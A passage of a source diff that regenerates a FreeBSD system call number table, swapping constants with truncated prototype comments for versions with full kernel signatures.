-- SYS_FCHMOD = 124 // { int fchmod(int fd, int mode); }
-- SYS_SETREUID = 126 // { int setreuid(int ruid, int euid); }
-- SYS_SETREGID = 127 // { int setregid(int rgid, int egid); }
-- SYS_RENAME = 128 // { int rename(char *from, char *to); }
-- SYS_FLOCK = 131 // { int flock(int fd, int how); }
-- SYS_MKFIFO = 132 // { int mkfifo(char *path, int mode); }
-- SYS_SENDTO = 133 // { int sendto(int s, caddr_t buf, size_t len, \
-- SYS_SHUTDOWN = 134 // { int shutdown(int s, int how); }
-- SYS_SOCKETPAIR = 135 // { int socketpair(int domain, int type, \
-- SYS_MKDIR = 136 // { int mkdir(char *path, int mode); }
-- SYS_RMDIR = 137 // { int rmdir(char *path); }
-- SYS_UTIMES = 138 // { int utimes(char *path, \
-- SYS_ADJTIME = 140 // { int adjtime(struct timeval *delta, \
-- SYS_SETSID = 147 // { int setsid(void); }
-- SYS_QUOTACTL = 148 // { int quotactl(char *path, int cmd, int uid, \
-- SYS_LGETFH = 160 // { int lgetfh(char *fname, \
-- SYS_GETFH = 161 // { int getfh(char *fname, \
-- SYS_SYSARCH = 165 // { int sysarch(int op, char *parms); }
-- SYS_RTPRIO = 166 // { int rtprio(int function, pid_t pid, \
-- SYS_FREEBSD6_PREAD = 173 // { ssize_t freebsd6_pread(int fd, void *buf, \
-- SYS_FREEBSD6_PWRITE = 174 // { ssize_t freebsd6_pwrite(int fd, \
-- SYS_SETFIB = 175 // { int setfib(int fibnum); }
-- SYS_NTP_ADJTIME = 176 // { int ntp_adjtime(struct timex *tp); }
-- SYS_SETGID = 181 // { int setgid(gid_t gid); }
-- SYS_SETEGID = 182 // { int setegid(gid_t egid); }
-- SYS_SETEUID = 183 // { int seteuid(uid_t euid); }
-- SYS_STAT = 188 // { int stat(char *path, struct stat *ub); }
-- SYS_FSTAT = 189 // { int fstat(int fd, struct stat *sb); }
-- SYS_LSTAT = 190 // { int lstat(char *path, struct stat *ub); }
-- SYS_PATHCONF = 191 // { int pathconf(char *path, int name); }
-- SYS_FPATHCONF = 192 // { int fpathconf(int fd, int name); }
-- SYS_GETRLIMIT = 194 // { int getrlimit(u_int which, \
-- SYS_SETRLIMIT = 195 // { int setrlimit(u_int which, \
-- SYS_GETDIRENTRIES = 196 // { int getdirentries(int fd, char *buf, \
-- SYS_FREEBSD6_MMAP = 197 // { caddr_t freebsd6_mmap(caddr_t addr, \
-- SYS_FREEBSD6_LSEEK = 199 // { off_t freebsd6_lseek(int fd, int pad, \
-- SYS_FREEBSD6_TRUNCATE = 200 // { int freebsd6_truncate(char *path, int pad, \
-- SYS_FREEBSD6_FTRUNCATE = 201 // { int freebsd6_ftruncate(int fd, int pad, \
-- SYS___SYSCTL = 202 // { int __sysctl(int *name, u_int namelen, \
-- SYS_MLOCK = 203 // { int mlock(const void *addr, size_t len); }
-- SYS_MUNLOCK = 204 // { int munlock(const void *addr, size_t len); }
-- SYS_UNDELETE = 205 // { int undelete(char *path); }
-- SYS_FUTIMES = 206 // { int futimes(int fd, struct timeval *tptr); }
-- SYS_GETPGID = 207 // { int getpgid(pid_t pid); }
-- SYS_POLL = 209 // { int poll(struct pollfd *fds, u_int nfds, \
-- SYS_CLOCK_GETTIME = 232 // { int clock_gettime(clockid_t clock_id, \
-- SYS_CLOCK_SETTIME = 233 // { int clock_settime( \
-- SYS_CLOCK_GETRES = 234 // { int clock_getres(clockid_t clock_id, \
-- SYS_KTIMER_CREATE = 235 // { int ktimer_create(clockid_t clock_id, \
-- SYS_KTIMER_DELETE = 236 // { int ktimer_delete(int timerid); }
-- SYS_KTIMER_SETTIME = 237 // { int ktimer_settime(int timerid, int flags, \
-- SYS_KTIMER_GETTIME = 238 // { int ktimer_gettime(int timerid, struct \
-- SYS_KTIMER_GETOVERRUN = 239 // { int ktimer_getoverrun(int timerid); }
-- SYS_NANOSLEEP = 240 // { int nanosleep(const struct timespec *rqtp, \
-- SYS_FFCLOCK_GETCOUNTER = 241 // { int ffclock_getcounter(ffcounter *ffcount); }
-- SYS_FFCLOCK_SETESTIMATE = 242 // { int ffclock_setestimate( \
-- SYS_FFCLOCK_GETESTIMATE = 243 // { int ffclock_getestimate( \
-- SYS_CLOCK_GETCPUCLOCKID2 = 247 // { int clock_getcpuclockid2(id_t id,\
-- SYS_NTP_GETTIME = 248 // { int ntp_gettime(struct ntptimeval *ntvp); }
-- SYS_MINHERIT = 250 // { int minherit(void *addr, size_t len, \
-- SYS_RFORK = 251 // { int rfork(int flags); }
-- SYS_OPENBSD_POLL = 252 // { int openbsd_poll(struct pollfd *fds, \
-- SYS_ISSETUGID = 253 // { int issetugid(void); }
-- SYS_LCHOWN = 254 // { int lchown(char *path, int uid, int gid); }
-- SYS_GETDENTS = 272 // { int getdents(int fd, char *buf, \
-- SYS_LCHMOD = 274 // { int lchmod(char *path, mode_t mode); }
-- SYS_LUTIMES = 276 // { int lutimes(char *path, \
-- SYS_NSTAT = 278 // { int nstat(char *path, struct nstat *ub); }
-- SYS_NFSTAT = 279 // { int nfstat(int fd, struct nstat *sb); }
-- SYS_NLSTAT = 280 // { int nlstat(char *path, struct nstat *ub); }
-- SYS_PREADV = 289 // { ssize_t preadv(int fd, struct iovec *iovp, \
-- SYS_PWRITEV = 290 // { ssize_t pwritev(int fd, struct iovec *iovp, \
-- SYS_FHOPEN = 298 // { int fhopen(const struct fhandle *u_fhp, \
-- SYS_FHSTAT = 299 // { int fhstat(const struct fhandle *u_fhp, \
-- SYS_MODNEXT = 300 // { int modnext(int modid); }
-- SYS_MODSTAT = 301 // { int modstat(int modid, \
-- SYS_MODFNEXT = 302 // { int modfnext(int modid); }
-- SYS_MODFIND = 303 // { int modfind(const char *name); }
-- SYS_KLDLOAD = 304 // { int kldload(const char *file); }
-- SYS_KLDUNLOAD = 305 // { int kldunload(int fileid); }
-- SYS_KLDFIND = 306 // { int kldfind(const char *file); }
-- SYS_KLDNEXT = 307 // { int kldnext(int fileid); }
-- SYS_KLDSTAT = 308 // { int kldstat(int fileid, struct \
-- SYS_KLDFIRSTMOD = 309 // { int kldfirstmod(int fileid); }
-- SYS_GETSID = 310 // { int getsid(pid_t pid); }
-- SYS_SETRESUID = 311 // { int setresuid(uid_t ruid, uid_t euid, \
-- SYS_SETRESGID = 312 // { int setresgid(gid_t rgid, gid_t egid, \
-- SYS_YIELD = 321 // { int yield(void); }
-- SYS_MLOCKALL = 324 // { int mlockall(int how); }
-- SYS_MUNLOCKALL = 325 // { int munlockall(void); }
-- SYS___GETCWD = 326 // { int __getcwd(char *buf, u_int buflen); }
-- SYS_SCHED_SETPARAM = 327 // { int sched_setparam (pid_t pid, \
-- SYS_SCHED_GETPARAM = 328 // { int sched_getparam (pid_t pid, struct \
-- SYS_SCHED_SETSCHEDULER = 329 // { int sched_setscheduler (pid_t pid, int \
-- SYS_SCHED_GETSCHEDULER = 330 // { int sched_getscheduler (pid_t pid); }
-- SYS_SCHED_YIELD = 331 // { int sched_yield (void); }
-- SYS_SCHED_GET_PRIORITY_MAX = 332 // { int sched_get_priority_max (int policy); }
-- SYS_SCHED_GET_PRIORITY_MIN = 333 // { int sched_get_priority_min (int policy); }
-- SYS_SCHED_RR_GET_INTERVAL = 334 // { int sched_rr_get_interval (pid_t pid, \
-- SYS_UTRACE = 335 // { int utrace(const void *addr, size_t len); }
-- SYS_KLDSYM = 337 // { int kldsym(int fileid, int cmd, \
-- SYS_JAIL = 338 // { int jail(struct jail *jail); }
-- SYS_SIGPROCMASK = 340 // { int sigprocmask(int how, \
-- SYS_SIGSUSPEND = 341 // { int sigsuspend(const sigset_t *sigmask); }
-- SYS_SIGPENDING = 343 // { int sigpending(sigset_t *set); }
-- SYS_SIGTIMEDWAIT = 345 // { int sigtimedwait(const sigset_t *set, \
-- SYS_SIGWAITINFO = 346 // { int sigwaitinfo(const sigset_t *set, \
-- SYS___ACL_GET_FILE = 347 // { int __acl_get_file(const char *path, \
-- SYS___ACL_SET_FILE = 348 // { int __acl_set_file(const char *path, \
-- SYS___ACL_GET_FD = 349 // { int __acl_get_fd(int filedes, \
-- SYS___ACL_SET_FD = 350 // { int __acl_set_fd(int filedes, \
-- SYS___ACL_DELETE_FILE = 351 // { int __acl_delete_file(const char *path, \
-- SYS___ACL_DELETE_FD = 352 // { int __acl_delete_fd(int filedes, \
-- SYS___ACL_ACLCHECK_FILE = 353 // { int __acl_aclcheck_file(const char *path, \
-- SYS___ACL_ACLCHECK_FD = 354 // { int __acl_aclcheck_fd(int filedes, \
-- SYS_EXTATTRCTL = 355 // { int extattrctl(const char *path, int cmd, \
-- SYS_EXTATTR_SET_FILE = 356 // { ssize_t extattr_set_file( \
-- SYS_EXTATTR_GET_FILE = 357 // { ssize_t extattr_get_file( \
-- SYS_EXTATTR_DELETE_FILE = 358 // { int extattr_delete_file(const char *path, \
-- SYS_GETRESUID = 360 // { int getresuid(uid_t *ruid, uid_t *euid, \
-- SYS_GETRESGID = 361 // { int getresgid(gid_t *rgid, gid_t *egid, \
-- SYS_KQUEUE = 362 // { int kqueue(void); }
-- SYS_KEVENT = 363 // { int kevent(int fd, \
-- SYS_EXTATTR_SET_FD = 371 // { ssize_t extattr_set_fd(int fd, \
-- SYS_EXTATTR_GET_FD = 372 // { ssize_t extattr_get_fd(int fd, \
-- SYS_EXTATTR_DELETE_FD = 373 // { int extattr_delete_fd(int fd, \
-- SYS___SETUGID = 374 // { int __setugid(int flag); }
-- SYS_EACCESS = 376 // { int eaccess(char *path, int amode); }
-- SYS_NMOUNT = 378 // { int nmount(struct iovec *iovp, \
-- SYS___MAC_GET_PROC = 384 // { int __mac_get_proc(struct mac *mac_p); }
-- SYS___MAC_SET_PROC = 385 // { int __mac_set_proc(struct mac *mac_p); }
-- SYS___MAC_GET_FD = 386 // { int __mac_get_fd(int fd, \
-- SYS___MAC_GET_FILE = 387 // { int __mac_get_file(const char *path_p, \
-- SYS___MAC_SET_FD = 388 // { int __mac_set_fd(int fd, \
-- SYS___MAC_SET_FILE = 389 // { int __mac_set_file(const char *path_p, \
-- SYS_KENV = 390 // { int kenv(int what, const char *name, \
-- SYS_LCHFLAGS = 391 // { int lchflags(const char *path, \
-- SYS_UUIDGEN = 392 // { int uuidgen(struct uuid *store, \
-- SYS_SENDFILE = 393 // { int sendfile(int fd, int s, off_t offset, \
-- SYS_MAC_SYSCALL = 394 // { int mac_syscall(const char *policy, \
-- SYS_GETFSSTAT = 395 // { int getfsstat(struct statfs *buf, \
-- SYS_STATFS = 396 // { int statfs(char *path, \
-- SYS_FSTATFS = 397 // { int fstatfs(int fd, struct statfs *buf); }
-- SYS_FHSTATFS = 398 // { int fhstatfs(const struct fhandle *u_fhp, \
-- SYS___MAC_GET_PID = 409 // { int __mac_get_pid(pid_t pid, \
-- SYS___MAC_GET_LINK = 410 // { int __mac_get_link(const char *path_p, \
-- SYS___MAC_SET_LINK = 411 // { int __mac_set_link(const char *path_p, \
-- SYS_EXTATTR_SET_LINK = 412 // { ssize_t extattr_set_link( \
-- SYS_EXTATTR_GET_LINK = 413 // { ssize_t extattr_get_link( \
-- SYS_EXTATTR_DELETE_LINK = 414 // { int extattr_delete_link( \
-- SYS___MAC_EXECVE = 415 // { int __mac_execve(char *fname, char **argv, \
-- SYS_SIGACTION = 416 // { int sigaction(int sig, \
-- SYS_SIGRETURN = 417 // { int sigreturn( \
-- SYS_GETCONTEXT = 421 // { int getcontext(struct __ucontext *ucp); }
-- SYS_SETCONTEXT = 422 // { int setcontext( \
-- SYS_SWAPCONTEXT = 423 // { int swapcontext(struct __ucontext *oucp, \
-- SYS_SWAPOFF = 424 // { int swapoff(const char *name); }
-- SYS___ACL_GET_LINK = 425 // { int __acl_get_link(const char *path, \
-- SYS___ACL_SET_LINK = 426 // { int __acl_set_link(const char *path, \
-- SYS___ACL_DELETE_LINK = 427 // { int __acl_delete_link(const char *path, \
-- SYS___ACL_ACLCHECK_LINK = 428 // { int __acl_aclcheck_link(const char *path, \
-- SYS_SIGWAIT = 429 // { int sigwait(const sigset_t *set, \
-- SYS_THR_CREATE = 430 // { int thr_create(ucontext_t *ctx, long *id, \
-- SYS_THR_EXIT = 431 // { void thr_exit(long *state); }
-- SYS_THR_SELF = 432 // { int thr_self(long *id); }
-- SYS_THR_KILL = 433 // { int thr_kill(long id, int sig); }
-- SYS__UMTX_LOCK = 434 // { int _umtx_lock(struct umtx *umtx); }
-- SYS__UMTX_UNLOCK = 435 // { int _umtx_unlock(struct umtx *umtx); }
-- SYS_JAIL_ATTACH = 436 // { int jail_attach(int jid); }
-- SYS_EXTATTR_LIST_FD = 437 // { ssize_t extattr_list_fd(int fd, \
-- SYS_EXTATTR_LIST_FILE = 438 // { ssize_t extattr_list_file( \
-- SYS_EXTATTR_LIST_LINK = 439 // { ssize_t extattr_list_link( \
-- SYS_THR_SUSPEND = 442 // { int thr_suspend( \
-- SYS_THR_WAKE = 443 // { int thr_wake(long id); }
-- SYS_KLDUNLOADF = 444 // { int kldunloadf(int fileid, int flags); }
-- SYS_AUDIT = 445 // { int audit(const void *record, \
-- SYS_AUDITON = 446 // { int auditon(int cmd, void *data, \
-- SYS_GETAUID = 447 // { int getauid(uid_t *auid); }
-- SYS_SETAUID = 448 // { int setauid(uid_t *auid); }
-- SYS_GETAUDIT = 449 // { int getaudit(struct auditinfo *auditinfo); }
-- SYS_SETAUDIT = 450 // { int setaudit(struct auditinfo *auditinfo); }
-- SYS_GETAUDIT_ADDR = 451 // { int getaudit_addr( \
-- SYS_SETAUDIT_ADDR = 452 // { int setaudit_addr( \
-- SYS_AUDITCTL = 453 // { int auditctl(char *path); }
-- SYS__UMTX_OP = 454 // { int _umtx_op(void *obj, int op, \
-- SYS_THR_NEW = 455 // { int thr_new(struct thr_param *param, \
-- SYS_SIGQUEUE = 456 // { int sigqueue(pid_t pid, int signum, void *value); }
-- SYS_ABORT2 = 463 // { int abort2(const char *why, int nargs, void **args); }
-- SYS_THR_SET_NAME = 464 // { int thr_set_name(long id, const char *name); }
-- SYS_RTPRIO_THREAD = 466 // { int rtprio_thread(int function, \
-- SYS_PREAD = 475 // { ssize_t pread(int fd, void *buf, \
-- SYS_PWRITE = 476 // { ssize_t pwrite(int fd, const void *buf, \
-- SYS_MMAP = 477 // { caddr_t mmap(caddr_t addr, size_t len, \
-- SYS_LSEEK = 478 // { off_t lseek(int fd, off_t offset, \
-- SYS_TRUNCATE = 479 // { int truncate(char *path, off_t length); }
-- SYS_FTRUNCATE = 480 // { int ftruncate(int fd, off_t length); }
-- SYS_THR_KILL2 = 481 // { int thr_kill2(pid_t pid, long id, int sig); }
-- SYS_SHM_OPEN = 482 // { int shm_open(const char *path, int flags, \
-- SYS_SHM_UNLINK = 483 // { int shm_unlink(const char *path); }
-- SYS_CPUSET = 484 // { int cpuset(cpusetid_t *setid); }
-- SYS_CPUSET_SETID = 485 // { int cpuset_setid(cpuwhich_t which, id_t id, \
-- SYS_CPUSET_GETID = 486 // { int cpuset_getid(cpulevel_t level, \
-- SYS_CPUSET_GETAFFINITY = 487 // { int cpuset_getaffinity(cpulevel_t level, \
-- SYS_CPUSET_SETAFFINITY = 488 // { int cpuset_setaffinity(cpulevel_t level, \
-- SYS_FACCESSAT = 489 // { int faccessat(int fd, char *path, int amode, \
-- SYS_FCHMODAT = 490 // { int fchmodat(int fd, char *path, mode_t mode, \
-- SYS_FCHOWNAT = 491 // { int fchownat(int fd, char *path, uid_t uid, \
-- SYS_FEXECVE = 492 // { int fexecve(int fd, char **argv, \
-- SYS_FSTATAT = 493 // { int fstatat(int fd, char *path, \
-- SYS_FUTIMESAT = 494 // { int futimesat(int fd, char *path, \
-- SYS_LINKAT = 495 // { int linkat(int fd1, char *path1, int fd2, \
-- SYS_MKDIRAT = 496 // { int mkdirat(int fd, char *path, mode_t mode); }
-- SYS_MKFIFOAT = 497 // { int mkfifoat(int fd, char *path, mode_t mode); }
-- SYS_MKNODAT = 498 // { int mknodat(int fd, char *path, mode_t mode, \
-- SYS_OPENAT = 499 // { int openat(int fd, char *path, int flag, \
-- SYS_READLINKAT = 500 // { int readlinkat(int fd, char *path, char *buf, \
-- SYS_RENAMEAT = 501 // { int renameat(int oldfd, char *old, int newfd, \
-- SYS_SYMLINKAT = 502 // { int symlinkat(char *path1, int fd, \
-- SYS_UNLINKAT = 503 // { int unlinkat(int fd, char *path, int flag); }
-- SYS_POSIX_OPENPT = 504 // { int posix_openpt(int flags); }
-- SYS_JAIL_GET = 506 // { int jail_get(struct iovec *iovp, \
-- SYS_JAIL_SET = 507 // { int jail_set(struct iovec *iovp, \
-- SYS_JAIL_REMOVE = 508 // { int jail_remove(int jid); }
-- SYS_CLOSEFROM = 509 // { int closefrom(int lowfd); }
-- SYS_LPATHCONF = 513 // { int lpathconf(char *path, int name); }
-- SYS___CAP_RIGHTS_GET = 515 // { int __cap_rights_get(int version, \
-- SYS_CAP_ENTER = 516 // { int cap_enter(void); }
-- SYS_CAP_GETMODE = 517 // { int cap_getmode(u_int *modep); }
-- SYS_PDFORK = 518 // { int pdfork(int *fdp, int flags); }
-- SYS_PDKILL = 519 // { int pdkill(int fd, int signum); }
-- SYS_PDGETPID = 520 // { int pdgetpid(int fd, pid_t *pidp); }
-- SYS_PSELECT = 522 // { int pselect(int nd, fd_set *in, \
-- SYS_GETLOGINCLASS = 523 // { int getloginclass(char *namebuf, \
-- SYS_SETLOGINCLASS = 524 // { int setloginclass(const char *namebuf); }
-- SYS_RCTL_GET_RACCT = 525 // { int rctl_get_racct(const void *inbufp, \
-- SYS_RCTL_GET_RULES = 526 // { int rctl_get_rules(const void *inbufp, \
-- SYS_RCTL_GET_LIMITS = 527 // { int rctl_get_limits(const void *inbufp, \
-- SYS_RCTL_ADD_RULE = 528 // { int rctl_add_rule(const void *inbufp, \
-- SYS_RCTL_REMOVE_RULE = 529 // { int rctl_remove_rule(const void *inbufp, \
-- SYS_POSIX_FALLOCATE = 530 // { int posix_fallocate(int fd, \
-- SYS_POSIX_FADVISE = 531 // { int posix_fadvise(int fd, off_t offset, \
-- SYS_WAIT6 = 532 // { int wait6(idtype_t idtype, id_t id, \
-- SYS_CAP_RIGHTS_LIMIT = 533 // { int cap_rights_limit(int fd, \
-- SYS_CAP_IOCTLS_LIMIT = 534 // { int cap_ioctls_limit(int fd, \
-- SYS_CAP_IOCTLS_GET = 535 // { ssize_t cap_ioctls_get(int fd, \
-- SYS_CAP_FCNTLS_LIMIT = 536 // { int cap_fcntls_limit(int fd, \
-- SYS_CAP_FCNTLS_GET = 537 // { int cap_fcntls_get(int fd, \
-- SYS_BINDAT = 538 // { int bindat(int fd, int s, caddr_t name, \
-- SYS_CONNECTAT = 539 // { int connectat(int fd, int s, caddr_t name, \
-- SYS_CHFLAGSAT = 540 // { int chflagsat(int fd, const char *path, \
-- SYS_ACCEPT4 = 541 // { int accept4(int s, \
-- SYS_PIPE2 = 542 // { int pipe2(int *fildes, int flags); }
-- SYS_PROCCTL = 544 // { int procctl(idtype_t idtype, id_t id, \
-- SYS_PPOLL = 545 // { int ppoll(struct pollfd *fds, u_int nfds, \
-- SYS_FUTIMENS = 546 // { int futimens(int fd, \
-- SYS_UTIMENSAT = 547 // { int utimensat(int fd, \
-+ SYS_EXIT = 1 // { void sys_exit(int rval); } exit sys_exit_args void
-+ SYS_FORK = 2 // { int fork(void); }
-+ SYS_READ = 3 // { ssize_t read(int fd, void *buf, size_t nbyte); }
-+ SYS_WRITE = 4 // { ssize_t write(int fd, const void *buf, size_t nbyte); }
-+ SYS_OPEN = 5 // { int open(char *path, int flags, int mode); }
-+ SYS_CLOSE = 6 // { int close(int fd); }
-+ SYS_WAIT4 = 7 // { int wait4(int pid, int *status, int options, struct rusage *rusage); }
-+ SYS_LINK = 9 // { int link(char *path, char *link); }
-+ SYS_UNLINK = 10 // { int unlink(char *path); }
-+ SYS_CHDIR = 12 // { int chdir(char *path); }
-+ SYS_FCHDIR = 13 // { int fchdir(int fd); }
-+ SYS_MKNOD = 14 // { int mknod(char *path, int mode, int dev); }
-+ SYS_CHMOD = 15 // { int chmod(char *path, int mode); }
-+ SYS_CHOWN = 16 // { int chown(char *path, int uid, int gid); }
-+ SYS_OBREAK = 17 // { int obreak(char *nsize); } break obreak_args int
-+ SYS_GETPID = 20 // { pid_t getpid(void); }
-+ SYS_MOUNT = 21 // { int mount(char *type, char *path, int flags, caddr_t data); }
-+ SYS_UNMOUNT = 22 // { int unmount(char *path, int flags); }
-+ SYS_SETUID = 23 // { int setuid(uid_t uid); }
-+ SYS_GETUID = 24 // { uid_t getuid(void); }
-+ SYS_GETEUID = 25 // { uid_t geteuid(void); }
-+ SYS_PTRACE = 26 // { int ptrace(int req, pid_t pid, caddr_t addr, int data); }
-+ SYS_RECVMSG = 27 // { int recvmsg(int s, struct msghdr *msg, int flags); }
-+ SYS_SENDMSG = 28 // { int sendmsg(int s, struct msghdr *msg, int flags); }
-+ SYS_RECVFROM = 29 // { int recvfrom(int s, caddr_t buf, size_t len, int flags, struct sockaddr * __restrict from, __socklen_t * __restrict fromlenaddr); }
-+ SYS_ACCEPT = 30 // { int accept(int s, struct sockaddr * __restrict name, __socklen_t * __restrict anamelen); }
-+ SYS_GETPEERNAME = 31 // { int getpeername(int fdes, struct sockaddr * __restrict asa, __socklen_t * __restrict alen); }
-+ SYS_GETSOCKNAME = 32 // { int getsockname(int fdes, struct sockaddr * __restrict asa, __socklen_t * __restrict alen); }
-+ SYS_ACCESS = 33 // { int access(char *path, int amode); }
-+ SYS_CHFLAGS = 34 // { int chflags(const char *path, u_long flags); }
-+ SYS_FCHFLAGS = 35 // { int fchflags(int fd, u_long flags); }
-+ SYS_SYNC = 36 // { int sync(void); }
-+ SYS_KILL = 37 // { int kill(int pid, int signum); }
-+ SYS_GETPPID = 39 // { pid_t getppid(void); }
-+ SYS_DUP = 41 // { int dup(u_int fd); }
-+ SYS_PIPE = 42 // { int pipe(void); }
-+ SYS_GETEGID = 43 // { gid_t getegid(void); }
-+ SYS_PROFIL = 44 // { int profil(caddr_t samples, size_t size, size_t offset, u_int scale); }
-+ SYS_KTRACE = 45 // { int ktrace(const char *fname, int ops, int facs, int pid); }
-+ SYS_GETGID = 47 // { gid_t getgid(void); }
-+ SYS_GETLOGIN = 49 // { int getlogin(char *namebuf, u_int namelen); }
-+ SYS_SETLOGIN = 50 // { int setlogin(char *namebuf); }
-+ SYS_ACCT = 51 // { int acct(char *path); }
-+ SYS_SIGALTSTACK = 53 // { int sigaltstack(stack_t *ss, stack_t *oss); }
-+ SYS_IOCTL = 54 // { int ioctl(int fd, u_long com, caddr_t data); }
-+ SYS_REBOOT = 55 // { int reboot(int opt); }
-+ SYS_REVOKE = 56 // { int revoke(char *path); }
-+ SYS_SYMLINK = 57 // { int symlink(char *path, char *link); }
-+ SYS_READLINK = 58 // { ssize_t readlink(char *path, char *buf, size_t count); }
-+ SYS_EXECVE = 59 // { int execve(char *fname, char **argv, char **envv); }
-+ SYS_UMASK = 60 // { int umask(int newmask); } umask umask_args int
-+ SYS_CHROOT = 61 // { int chroot(char *path); }
-+ SYS_MSYNC = 65 // { int msync(void *addr, size_t len, int flags); }
-+ SYS_VFORK = 66 // { int vfork(void); }
-+ SYS_SBRK = 69 // { int sbrk(int incr); }
-+ SYS_SSTK = 70 // { int sstk(int incr); }
-+ SYS_OVADVISE = 72 // { int ovadvise(int anom); } vadvise ovadvise_args int
-+ SYS_MUNMAP = 73 // { int munmap(void *addr, size_t len); }
-+ SYS_MPROTECT = 74 // { int mprotect(const void *addr, size_t len, int prot); }
-+ SYS_MADVISE = 75 // { int madvise(void *addr, size_t len, int behav); }
-+ SYS_MINCORE = 78 // { int mincore(const void *addr, size_t len, char *vec); }
-+ SYS_GETGROUPS = 79 // { int getgroups(u_int gidsetsize, gid_t *gidset); }
-+ SYS_SETGROUPS = 80 // { int setgroups(u_int gidsetsize, gid_t *gidset); }
-+ SYS_GETPGRP = 81 // { int getpgrp(void); }
-+ SYS_SETPGID = 82 // { int setpgid(int pid, int pgid); }
-+ SYS_SETITIMER = 83 // { int setitimer(u_int which, struct itimerval *itv, struct itimerval *oitv); }
-+ SYS_SWAPON = 85 // { int swapon(char *name); }
-+ SYS_GETITIMER = 86 // { int getitimer(u_int which, struct itimerval *itv); }
-+ SYS_GETDTABLESIZE = 89 // { int getdtablesize(void); }
-+ SYS_DUP2 = 90 // { int dup2(u_int from, u_int to); }
-+ SYS_FCNTL = 92 // { int fcntl(int fd, int cmd, long arg); }
-+ SYS_SELECT = 93 // { int select(int nd, fd_set *in, fd_set *ou, fd_set *ex, struct timeval *tv); }
-+ SYS_FSYNC = 95 // { int fsync(int fd); }
-+ SYS_SETPRIORITY = 96 // { int setpriority(int which, int who, int prio); }
-+ SYS_SOCKET = 97 // { int socket(int domain, int type, int protocol); }
-+ SYS_CONNECT = 98 // { int connect(int s, caddr_t name, int namelen); }
-+ SYS_GETPRIORITY = 100 // { int getpriority(int which, int who); }
-+ SYS_BIND = 104 // { int bind(int s, caddr_t name, int namelen); }
-+ SYS_SETSOCKOPT = 105 // { int setsockopt(int s, int level, int name, caddr_t val, int valsize); }
-+ SYS_LISTEN = 106 // { int listen(int s, int backlog); }
-+ SYS_GETTIMEOFDAY = 116 // { int gettimeofday(struct timeval *tp, struct timezone *tzp); }
-+ SYS_GETRUSAGE = 117 // { int getrusage(int who, struct rusage *rusage); }
-+ SYS_GETSOCKOPT = 118 // { int getsockopt(int s, int level, int name, caddr_t val, int *avalsize); }
-+ SYS_READV = 120 // { int readv(int fd, struct iovec *iovp, u_int iovcnt); }
-+ SYS_WRITEV = 121 // { int writev(int fd, struct iovec *iovp, u_int iovcnt); }
-+ SYS_SETTIMEOFDAY = 122 // { int settimeofday(struct timeval *tv, struct timezone *tzp); }
-+ SYS_FCHOWN = 123 // { int fchown(int fd, int uid, int gid); }
-+ SYS_FCHMOD = 124 // { int fchmod(int fd, int mode); }
-+ SYS_SETREUID = 126 // { int setreuid(int ruid, int euid); }
-+ SYS_SETREGID = 127 // { int setregid(int rgid, int egid); }
-+ SYS_RENAME = 128 // { int rename(char *from, char *to); }
-+ SYS_FLOCK = 131 // { int flock(int fd, int how); }
-+ SYS_MKFIFO = 132 // { int mkfifo(char *path, int mode); }
-+ SYS_SENDTO = 133 // { int sendto(int s, caddr_t buf, size_t len, int flags, caddr_t to, int tolen); }
-+ SYS_SHUTDOWN = 134 // { int shutdown(int s, int how); }
-+ SYS_SOCKETPAIR = 135 // { int socketpair(int domain, int type, int protocol, int *rsv); }
-+ SYS_MKDIR = 136 // { int mkdir(char *path, int mode); }
-+ SYS_RMDIR = 137 // { int rmdir(char *path); }
-+ SYS_UTIMES = 138 // { int utimes(char *path, struct timeval *tptr); }
-+ SYS_ADJTIME = 140 // { int adjtime(struct timeval *delta, struct timeval *olddelta); }
-+ SYS_SETSID = 147 // { int setsid(void); }
-+ SYS_QUOTACTL = 148 // { int quotactl(char *path, int cmd, int uid, caddr_t arg); }
-+ SYS_NLM_SYSCALL = 154 // { int nlm_syscall(int debug_level, int grace_period, int addr_count, char **addrs); }
-+ SYS_NFSSVC = 155 // { int nfssvc(int flag, caddr_t argp); }
-+ SYS_LGETFH = 160 // { int lgetfh(char *fname, struct fhandle *fhp); }
-+ SYS_GETFH = 161 // { int getfh(char *fname, struct fhandle *fhp); }
-+ SYS_SYSARCH = 165 // { int sysarch(int op, char *parms); }
-+ SYS_RTPRIO = 166 // { int rtprio(int function, pid_t pid, struct rtprio *rtp); }
-+ SYS_SEMSYS = 169 // { int semsys(int which, int a2, int a3, int a4, int a5); }
-+ SYS_MSGSYS = 170 // { int msgsys(int which, int a2, int a3, int a4, int a5, int a6); }
-+ SYS_SHMSYS = 171 // { int shmsys(int which, int a2, int a3, int a4); }
-+ SYS_SETFIB = 175 // { int setfib(int fibnum); }
-+ SYS_NTP_ADJTIME = 176 // { int ntp_adjtime(struct timex *tp); }
-+ SYS_SETGID = 181 // { int setgid(gid_t gid); }
-+ SYS_SETEGID = 182 // { int setegid(gid_t egid); }
-+ SYS_SETEUID = 183 // { int seteuid(uid_t euid); }
-+ SYS_STAT = 188 // { int stat(char *path, struct stat *ub); }
-+ SYS_FSTAT = 189 // { int fstat(int fd, struct stat *sb); }
-+ SYS_LSTAT = 190 // { int lstat(char *path, struct stat *ub); }
-+ SYS_PATHCONF = 191 // { int pathconf(char *path, int name); }
-+ SYS_FPATHCONF = 192 // { int fpathconf(int fd, int name); }
-+ SYS_GETRLIMIT = 194 // { int getrlimit(u_int which, struct rlimit *rlp); } getrlimit __getrlimit_args int
-+ SYS_SETRLIMIT = 195 // { int setrlimit(u_int which, struct rlimit *rlp); } setrlimit __setrlimit_args int
-+ SYS_GETDIRENTRIES = 196 // { int getdirentries(int fd, char *buf, u_int count, long *basep); }
-+ SYS___SYSCTL = 202 // { int __sysctl(int *name, u_int namelen, void *old, size_t *oldlenp, void *new, size_t newlen); } __sysctl sysctl_args int
-+ SYS_MLOCK = 203 // { int mlock(const void *addr, size_t len); }
-+ SYS_MUNLOCK = 204 // { int munlock(const void *addr, size_t len); }
-+ SYS_UNDELETE = 205 // { int undelete(char *path); }
-+ SYS_FUTIMES = 206 // { int futimes(int fd, struct timeval *tptr); }
-+ SYS_GETPGID = 207 // { int getpgid(pid_t pid); }
-+ SYS_POLL = 209 // { int poll(struct pollfd *fds, u_int nfds, int timeout); }
-+ SYS_SEMGET = 221 // { int semget(key_t key, int nsems, int semflg); }
-+ SYS_SEMOP = 222 // { int semop(int semid, struct sembuf *sops, size_t nsops); }
-+ SYS_MSGGET = 225 // { int msgget(key_t key, int msgflg); }
